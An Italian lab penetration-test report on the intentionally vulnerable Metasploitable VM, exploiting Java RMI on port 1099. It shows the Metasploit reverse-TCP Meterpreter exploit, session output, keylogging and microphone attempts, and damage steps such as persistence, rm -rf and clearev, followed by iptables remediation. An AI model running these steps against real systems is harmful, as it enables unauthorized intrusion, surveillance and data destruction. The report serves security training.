



Penetration Test - Report

Metasploitable

Alessandro Galli

Indice

1 Introduzione	3
1.1 Obiettivo	3
1.2 Motivazioni	3
1.3 Metodologia	3
1.4 Tool utilizzati	4
1.5 Glossario	4
2 Procedimento	5
2.1 Struttura	5
2.2 Information Gathering	5
2.3 Gravità	6
2.4 Vulnerabilità Target	7
2.5 Penetration Test	8
2.6 Ulteriore Information Gathering Post-Exploit	10
2.7 Remediation	13
3 Conclusioni	14

1 Introduzione

1.1 Obiettivo

L'obiettivo di questo report è descrivere un penetration test effettuato sulla macchina Metasploitable. Durante la fase di valutazione delle vulnerabilità, sono state trovate diverse vulnerabilità gravi che permetterebbero a un attaccante di compromettere completamente il sistema e di rubare dei dati sensibili. In questo caso ci concentreremo sulla vulnerabilità presente sulla porta TCP 1099, dove è in esecuzione il servizio vulnerabile **Java RMI**.

1.2 Motivazioni

Mentre la digitalizzazione avanza, sempre più sistemi IT vengono bersagliati dagli hacker: questi attacchi informatici spesso non vengono rilevati abbastanza rapidamente, o non vengono rilevati del tutto. Nel tempo che intercorre fra l'hacking e la sua rilevazione, tutti i dati sensibili di un'azienda e dei relativi stakeholders vengono intercettati e svelati, tramite l'infiltrazione nella rete aziendale: questo può creare degli enormi danni economici. Per far sì che questo rischio venga ridotto, si svolgono dei PenTest per testare la sicurezza di un dato sistema, anche più volte. Il **Red Team** ha questa funzione: fingersi un attaccante per penetrare una rete target, scoprendone le vulnerabilità e come queste possono essere sfruttate prima che un malintenzionato possa farlo.

1.3 Metodologia

Il procedimento è suddiviso in 4 fasi:

1. Information Gathering & Network Mapping: Sono state raccolte informazioni tramite dei tool di scansione di rete e vulnerabilità.
2. Penetration: Utilizzando le informazioni ottenute è stato condotto un attacco per sfruttare le vulnerabilità sulla macchina Metasploitable.
3. Ulteriore Information Gathering (Post Exploit): Una volta che è stato ottenuto l'accesso, abbiamo eseguito dei comandi per vedere file, cartelle, configurazioni di rete e tabelle di routing, altrimenti inaccessibili senza avere l'accesso.
4. Remediation: Dopo la fase di Penetration, è stata effettuata un'operazione di rimedio per eliminare le vulnerabilità in questione.

1.4 Tool Utilizzati

Per questo PenTest/Vulnerability Assessment sono stati utilizzati i seguenti tool:

- Nessus (Scansione vulnerabilità)
- Nmap (Enumerazione servizi, scansione porte)
- Metasploit (Exploit del sistema, ovvero lo sfruttamento della vulnerabilità)

1.5 Glossario

CVSS:

Common Vulnerability Scoring System: sistema standardizzato di valutazione delle vulnerabilità informatiche. Assegna un voto da **0.1** a **10.0** in base alla gravità di una determinata vulnerabilità, dove 0.1 indica una gravità molto bassa e 10 indica una gravità estrema.

Vettore di attacco: Si riferisce al metodo o al percorso attraverso il quale un attaccante riesce a ottenere l'accesso non autorizzato a un sistema informatico, a una rete o a un'applicazione con l'obiettivo di causare danni, rubare dati o compromettere la sicurezza. I vettori di attacco possono variare notevolmente a seconda della vulnerabilità sfruttata e del tipo di attacco in questione.

Remediation: Si riferisce all'insieme delle azioni intraprese per risolvere o mitigare le vulnerabilità, i rischi o le conseguenze di un attacco informatico. L'obiettivo della remediation è quello di ripristinare la sicurezza del sistema, prevenire futuri attacchi e limitare i danni causati da una violazione della sicurezza.

Red Team: Un **Red Team** è un gruppo di esperti di sicurezza incaricati di simulare attacchi reali contro un'organizzazione al fine di testare e valutare l'efficacia delle difese e delle misure di sicurezza in atto. L'obiettivo del Red Team è identificare punti deboli e vulnerabilità attraverso approcci creativi e realistici, utilizzando le stesse tecniche, tattiche e procedure (TTP) degli attaccanti malintenzionati.

IP: L'indirizzo IP è un codice identificativo di un dispositivo all'interno di una rete. Gli indirizzi IP consentono ai dispositivi di localizzarsi e comunicare tra loro all'interno di una rete, sia essa una rete locale (LAN) o la più vasta rete di Internet.

Porta di rete: Una porta di rete è un punto di accesso logico che consente la comunicazione tra dispositivi su una rete, facilitando la gestione e il trasferimento di dati tra un client e un server o tra diversi servizi all'interno di un dispositivo. Ogni porta è identificata da un numero di porta che, insieme all'indirizzo IP del dispositivo, costituisce un metodo di comunicazione.

2 Procedimento

2.1 Struttura

In questa sezione, vedremo i risultati delle 4 fasi descritte nel punto **1.3**. Ogni fase avrà una sezione dedicata, includendo una spiegazione teorica dei vari livelli di gravità delle vulnerabilità (e il loro sistema di valutazione), anche se ne andremo ad analizzare soltanto una.

2.2 Information Gathering

Utilizzando il tool di Vulnerability Scan Nessus, sono state rilevate diverse vulnerabilità sul target Metasploitable, di gravità variabile. Andiamo ora a descrivere i vari tipi previsti dal modello CVSS.

<input type="checkbox"/>	CRITICAL	10.0 *	5.9	NFS Exported Share Information Disclosure
<input type="checkbox"/>	CRITICAL	10.0		Unix Operating System Unsupported Version Detection
<input type="checkbox"/>	CRITICAL	10.0 *		VNC Server 'password' Password
<input type="checkbox"/>	CRITICAL	9.8	9.0	Apache Tomcat AJP Connector Request Injection (Ghostcat)
<input type="checkbox"/>	CRITICAL	9.8		SSL Version 2 and 3 Protocol Detection
<input type="checkbox"/>	CRITICAL	SSL (Multiple Issues)
<input type="checkbox"/>	HIGH	7.5 *	5.9	rlogin Service Detection
<input type="checkbox"/>	HIGH	7.5	5.9	Samba Badlock Vulnerability
<input type="checkbox"/>	HIGH	7.5		NFS Shares World Readable
<input type="checkbox"/>	MIXED	SSL (Multiple Issues)
<input type="checkbox"/>	MIXED	ISC Bind (Multiple Issues)
<input type="checkbox"/>	MEDIUM	6.5		TLS Version 1.0 Protocol Detection
<input type="checkbox"/>	MEDIUM	6.5		Unencrypted Telnet Server
<input type="checkbox"/>	MEDIUM	5.9	4.4	SSL Anonymous Cipher Suites Supported
<input type="checkbox"/>	MEDIUM	5.9	4.4	SSL DROWN Attack Vulnerability (Decrypting RSA with Obsolete and Weakened eNcryption)
<input type="checkbox"/>	MEDIUM	2.1 *	4.2	ICMP Timestamp Request Remote Date Disclosure
<input type="checkbox"/>	MIXED	SSH (Multiple Issues)
<input type="checkbox"/>	MIXED	HTTP (Multiple Issues)
<input type="checkbox"/>	MIXED	SMB (Multiple Issues)
<input type="checkbox"/>	MIXED	TLS (Multiple Issues)
<input type="checkbox"/>	MIXED	TLS (Multiple Issues)
<input type="checkbox"/>	LOW	3.7	3.9	SSL/TLS Diffie-Hellman Modulus <= 1024 Bits (Logjam)
<input type="checkbox"/>	LOW	2.6 *		X Server Detection
<input type="checkbox"/>	INFO	SMB (Multiple Issues)
<input type="checkbox"/>	INFO	TLS (Multiple Issues)
<input type="checkbox"/>	INFO	Apache HTTP Server (Multiple Issues)
<input type="checkbox"/>	INFO	FTP (Multiple Issues)

2.3. Gravità

Gravità	Punteggio CVSS
Critica	9.0-10.0
Alta	7.0-8.9
Media	4.0-6.9
Bassa	0.1-3.9

CVSS 0.1- 3.9: Bassa Le vulnerabilità contrassegnate come “basse” di solito non hanno un vettore di attacco diretto ma possono essere usate per acquisire informazioni su un sistema target, e usate in combinazione con altre vulnerabilità per ottenere l’accesso a quel sistema. Queste vulnerabilità sono solitamente configurazioni che possono essere rafforzate, come insufficienti impostazioni di sicurezza per i cookies. Per questa categoria non è estremamente necessario attuare delle remediation.

CVSS 4.0- 6.9: Media Le vulnerabilità “medie” spesso permettono agli attaccanti di attuare delle azioni che normalmente non potrebbero fare. Queste azioni potrebbero portare a comportamenti inaspettati, e sono chiamate “**footholds**” (punto di appoggio), visto che sono il primo passaggio per ottenere il controllo del sistema. Solitamente consistono in bypass di sicurezza oppure nell’ottenere l’accesso al codice di sistema. Questa categoria di solito richiede delle mitigazioni.

CVSS 7.0- 8.9: Alta Le vulnerabilità con un punteggio di CVSS “**alto**” permettono all’attaccante di infiltrarsi nel sistema in modo da poter eseguire codice su di esso, e di estrapolare informazioni sensibili. Tuttavia, il vettore di attacco è difficile da seguire o potrebbero essere necessari ulteriori permessi di amministratore. In ogni caso, richiedono di eseguire delle azioni per mitigare i problemi con urgenza

CVSS 9.0- 10.0: Critica le vulnerabilità “**Critiche**” richiedono azioni immediate poiché il sistema è estremamente a rischio di attacchi. Questi attacchi non hanno vettori di attacco complessi o il bisogno privilegi speciali per essere eseguiti. Addirittura, queste vulnerabilità sono rese pubbliche così da poter essere sfruttate facilmente anche da hacker inesperti.

2.4 Vulnerabilità Target

The screenshot shows a Nessus vulnerability report for the '1099 RMI / Plugin #22227'. The report is titled 'RMI Registry Detection' and is categorized as 'INFO'. The description states: 'The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.' The 'See Also' section includes links to Oracle's Java 1.5.0 RMI specification and a Nessus URL. The 'Output' section displays a hex dump of the response received for port 1099, showing a valid RMI registry response. Below the output, there are two tables listing the hosts scanned, both showing '192.168.11.112'.

1099 RMI / Plugin #22227

< Back to Vulnerabilities

Vulnerabilities 62

INFO RMI Registry Detection

Description

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

See Also

<https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/spec/rmiTOC.html>
<http://www.nessus.org/u?b6fd7659>

Output

```
Valid response recieved for port 1099:
0x00:  51 AC ED 00 05 77 0F 01 77 D5 9B 07 00 00 01 8F  Q....w..w.....
0x10:  FB D4 F6 CF 80 02 75 72 00 13 5B 4C 6A 61 76 61  .....ur..[Ljava
0x20:  2E 6C 61 6E 67 2B 53 74 72 69 6E 67 3B AD D2 56  .lang.String;..V
0x30:  E7 E9 1D 7B 47 02 00 00 70 78 70 00 00 00 00  ...{G...pxp....
```

To see debug logs, please visit individual host

Port ▲	Hosts
1099 / tcp / rmi_regist...	192.168.11.112

No output recorded.

To see debug logs, please visit individual host

Port ▲	Hosts
1099 / tcp / rmi_regist...	192.168.11.112

Come vediamo dallo screenshot soprastante, la vulnerabilità presa in esame viene rilevata da Nessus semplicemente come un'informazione di sistema, non dando alcuna valutazione CVSS: in realtà è un errore, perché come vedremo in seguito, permette di eseguire una shell remota sulla macchina target dalla macchina attaccante. È dunque un **falso negativo**, ovvero una minaccia non rilevata dai sistemi, o considerata irrilevante dagli stessi. Nonostante Nessus sia un tool molto potente, è importante effettuare una revisione della sua scansione.

Effettuiamo una scansione con nmap per verificare che la porta TCP 1099 sia aperta con il servizio RMI attivo, come scritto dalla scansione di Nessus. (Indirizzo IP Metasploitable = 192.168.11.112)

```
(kali㉿kali)-[~]
$ nmap -sV -p 1099 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 21:49 CEST
Nmap scan report for 192.168.11.112
Host is up (0.00021s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi GNU Classpath grmiregistry

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.20 seconds

(kali㉿kali)-[~]
$
```

2.5 Penetration Test

Procediamo ora, tramite l'utilizzo di Metasploit, alla fase di exploit (ovvero lo sfruttamento delle vulnerabilità). Eseguiamo il comando `search java_rmi` per cercare un exploit adatto alla nostra esigenza.

```
knock, knock, Neo.

https://metasploit.com

=[ metasploit v6.4.5-dev ]
+ -- --=[ 2413 exploits - 1242 auxiliary - 423 post ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search java_rmi

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry	.	normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	target: Generic (Java Payload)
3	target: Windows x86 (Native Payload)
4	target: Linux x86 (Native Payload)
5	target: Mac OS X PPC (Native Payload)
6	target: Mac OS X x86 (Native Payload)
7	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
8	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

```
Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > █
```

È stato scelto l'exploit alla riga 1 poiché nella sua descrizione evidenzia come esegua sulla macchina target stringhe di codice Java.

Tramite il comando `set RHOSTS 192.168.11.112` andiamo a impostare l'IP della macchina target. Controlliamo che sia impostato tutto correttamente per lanciare l'attacco tramite il comando `show options` (LHOSTS = IP macchina attaccante Kali Linux (192.168.11.111))

```
Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |


```

Eseguiamo ora il comando `exploit` per avere accesso alla macchina target.

2.6 Ulteriore Information Gathering (Post Exploit)

Ora che abbiamo ottenuto l'accesso alla macchina target, procediamo con la fase di raccolta informazioni post-exploit. Eseguiamo i comandi *ifconfig*, *route* per avere informazioni sulla configurazione di rete della macchina target, e sulla sua tabella di routing.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/6Ed8vKEGgqKR08q
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:33562) at 2024-06-09 23:12:49 +0200

meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe2a:342b
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```


IPv6 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe2a:342b	::	::		

Eseguiamo i comandi **sysinfo**, **getuid** e **ls** per vedere informazioni di base sul sistema target, come il sistema operativo, il nome del computer, l'utente corrente (in questo caso **root**, ovvero l'amministratore) e l'elenco di file e directory coi relativi permessi.

```
meterpreter > ls
Listing: /

Mode                Size      Type    Last modified          Name
-----
040666/rw-rw-rw-   4096     dir     2012-05-14 05:35:33 +0200 bin
040666/rw-rw-rw-   1024     dir     2012-05-14 05:36:28 +0200 boot
040666/rw-rw-rw-   4096     dir     2010-03-16 23:55:51 +0100 cdrom
040666/rw-rw-rw-  13480     dir     2024-06-09 21:44:08 +0200 dev
040666/rw-rw-rw-   4096     dir     2024-06-09 21:44:12 +0200 etc
040666/rw-rw-rw-   4096     dir     2010-04-16 08:16:02 +0200 home
040666/rw-rw-rw-   4096     dir     2010-03-16 23:57:40 +0100 initrd
100666/rw-rw-rw-  7929183   fil     2012-05-14 05:35:56 +0200 initrd.img
040666/rw-rw-rw-   4096     dir     2012-05-14 05:35:22 +0200 lib
040666/rw-rw-rw-  16384     dir     2010-03-16 23:55:15 +0100 lost+found
040666/rw-rw-rw-   4096     dir     2010-03-16 23:55:52 +0100 media
040666/rw-rw-rw-   4096     dir     2010-04-28 22:16:56 +0200 mnt
100666/rw-rw-rw-  23846     fil     2024-06-09 21:44:13 +0200 nohup.out
040666/rw-rw-rw-   4096     dir     2010-03-16 23:57:39 +0100 opt
040666/rw-rw-rw-    0        dir     2024-06-09 21:43:59 +0200 proc
040666/rw-rw-rw-   4096     dir     2024-06-09 21:44:13 +0200 root
040666/rw-rw-rw-   4096     dir     2012-05-14 03:54:53 +0200 sbin
040666/rw-rw-rw-   4096     dir     2010-03-16 23:57:38 +0100 srv
040666/rw-rw-rw-    0        dir     2024-06-09 21:43:59 +0200 sys
040666/rw-rw-rw-   4096     dir     2024-06-09 23:12:49 +0200 tmp
040666/rw-rw-rw-   4096     dir     2010-04-28 06:06:37 +0200 usr
040666/rw-rw-rw-   4096     dir     2010-03-17 15:08:23 +0100 var
100666/rw-rw-rw- 1987288   fil     2008-04-10 18:55:41 +0200 vmlinuz

meterpreter > who
[-] Unknown command: who. Run the help command for more details.
meterpreter > sysinfo
Computer           : metasploitable
OS                 : Linux 2.6.24-16-server (i386)
Architecture      : x86
System Language   : en_US
Meterpreter        : java/linux
meterpreter > getudi
[-] Unknown command: getudi. Did you mean getuid? Run the help command for more details.
meterpreter > getuid
Server username: root
```

Di seguito ulteriori comandi eseguiti per raccogliere informazioni sul sistema.

- **ps**: Elenca i processi in esecuzione sul sistema target.
- **screenshot**: Cattura uno screenshot del desktop del target.
- **keyscan_start** e **keyscan_stop**: Inizia e ferma la cattura delle sequenze di tasti (keylogging).
- **record_mic**: Registra l'audio dal microfono del sistema target.

```
meterpreter > ps shells

Process List
=====
```

PID	Name	User	Path
1	/sbin/init	root	/sbin/init
2	[kthreadd]	root	[kthreadd]
3	[migration/0]	root	[migration/0]
4	[ksoftirqd/0]	root	[ksoftirqd/0]
5	[watchdog/0]	root	[watchdog/0]
6	[events/0]	root	[events/0]
7	[khelper]	root	[khelper]
41	[kblockd/0]	root	[kblockd/0]
44	[kacpid]	root	[kacpid]
45	[kacpi_notify]	root	[kacpi_notify]
90	[kseriod]	root	[kseriod]
128	[pdflush]	root	[pdflush]
129	[pdflush]	root	[pdflush]
130	[kswapd0]	root	[kswapd0]
172	[aio/0]	root	[aio/0]
1128	[ksnapd]	root	[ksnapd]
1297	[ata/0]	root	[ata/0]
1300	[ata_aux]	root	[ata_aux]
1307	[scsi_eh_0]	root	[scsi_eh_0]
1310	[scsi_eh_1]	root	[scsi_eh_1]
1327	[ksuspend_usbd]	root	[ksuspend_usbd]

```
meterpreter > record_mic
[*] Starting...
[-] stdapi_webcam_audio_record: Operation failed: 1
meterpreter > keyscan_start
[-] The "keyscan_start" command is not supported by this Meterpreter type (java/linux)
meterpreter > keyscan_dump
[-] The "keyscan_dump" command is not supported by this Meterpreter type (java/linux)
meterpreter > keyscan_stop
[-] The "keyscan_stop" command is not supported by this Meterpreter type (java/linux)
meterpreter > screenshot

[*] 192.168.11.112 - Meterpreter session 2 closed. Reason: Died
[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
msf6 exploit(multi/misc/java_rmi_server) >
```

Come vediamo dagli screenshot, non tutti sono eseguibili sul nostro sistema target, ma ci fanno capire quanti danni possiamo creare nel caso funzionassero, utilizzando Metasploit che è un tool automatizzato che non richiede una grossa esperienza da parte dell'attaccante. Vediamo ora alcuni modi per creare danni al sistema.

- **kill**: Termina un processo specificato dal PID evidenziato dal comando **ps**.
- **persistence**: Installa un *payload* (frammento di codice malevolo) che si avvia automaticamente ad ogni riavvio del sistema.
- **rm -rf**: Forza la rimozione di un file o cartella in modo permanente dal disco.
- **clearev**: Cancella i log degli eventi di sistema per coprire le tracce.

2.7 Remediation

In questa fase è descritto il metodo per eliminare la vulnerabilità presente sulla porta di rete TCP 1099.

Creare una regola del firewall: Un firewall è un sistema di sicurezza della rete che monitora e controlla il traffico di rete in entrata e in uscita sulla base di regole di sicurezza predefinite. La sua funzione principale è quella di creare una barriera tra una rete interna sicura e affidabile e una rete esterna non sicura, come Internet, per impedire accessi non autorizzati e proteggere i dispositivi e i dati da potenziali minacce. Tramite i comandi seguenti, è stata creata una regola firewall che impedisce tutte le connessioni in entrata e in uscita dalla porta TCP 1099.

```
sudo iptables -A INPUT -p tcp --dport 1099 -j DROP (blocco connessioni in entrata)
```

```
sudo iptables -A OUTPUT -p tcp --dport 1099 -j DROP (blocco connessioni in uscita)
```

Per salvarle le regole in maniera permanente su un file (in modo da richiamarle all'avvio del sistema) sono stati eseguiti ulteriori comandi:

```
iptables-save > /etc/iptables/rules.v4
```

```
iptables-restore < /etc/iptables/rules.v4
```

```
msfadmin@metasploitable:~$ sudo iptables -A INPUT -p tcp --dport 1099 -j DROP
msfadmin@metasploitable:~$ sudo iptables -A OUTPUT -p tcp --dport 1099 -j DROP
msfadmin@metasploitable:~$ sudo iptables -L -v
Chain INPUT (policy ACCEPT 207 packets, 48289 bytes)
 pkts bytes target    prot opt in     out     source         destination
    0    0 DROP      tcp  --  any    any     anywhere       anywhere
      tcp dpt:rmiregistry
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target    prot opt in     out     source         destination
Chain OUTPUT (policy ACCEPT 199 packets, 47791 bytes)
 pkts bytes target    prot opt in     out     source         destination
    0    0 DROP      tcp  --  any    any     anywhere       anywhere
      tcp dpt:rmiregistry
msfadmin@metasploitable:~$ iptables-save > /etc/iptables/rules.v4
```

3 Conclusioni

Dopo aver completato il penetration test, abbiamo visto come poter creare danni alla macchina target e come risolvere la vulnerabilità presa in esame. Come vediamo dagli screenshot, metasploit non è più in grado di creare una sessione dove poter eseguire dei comandi dopo aver creato la regola del firewall, ed effettuando una scansione con Nmap, confermiamo che la porta 1099 rifiuta le connessioni.

```
meterpreter > exploit
[-] Unknown command: exploit. Run the help command for more details.
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/5jgFya4s5JRJxy
[*] 192.168.11.112:1099 - Server started.
[-] 192.168.11.112:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
[*] 192.168.11.112:1099 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) > █
```

```
(kali@kali)-[~]
$ nmap -p 1099 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-10 06:37 CEST type (java/linux)
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.03 seconds type (java/linux)
meterpreter > screenshot

(kali@kali)-[~]
$ █
192.168.11.112 - Meterpreter session 3 closed. Reason: Died
Send timed out. Timeout: currently 15 seconds, you can configure this with --timeout
msf6 exploit(multi/misc/java_rmi_server) > exploit

Started reverse TCP handler on 192.168.11.111:4444
```

È importante eseguire penetration test regolari per verificare la comparsa di nuove vulnerabilità e metodi di exploit, e per verificare che le remediation attuate in precedenza siano ancora efficaci.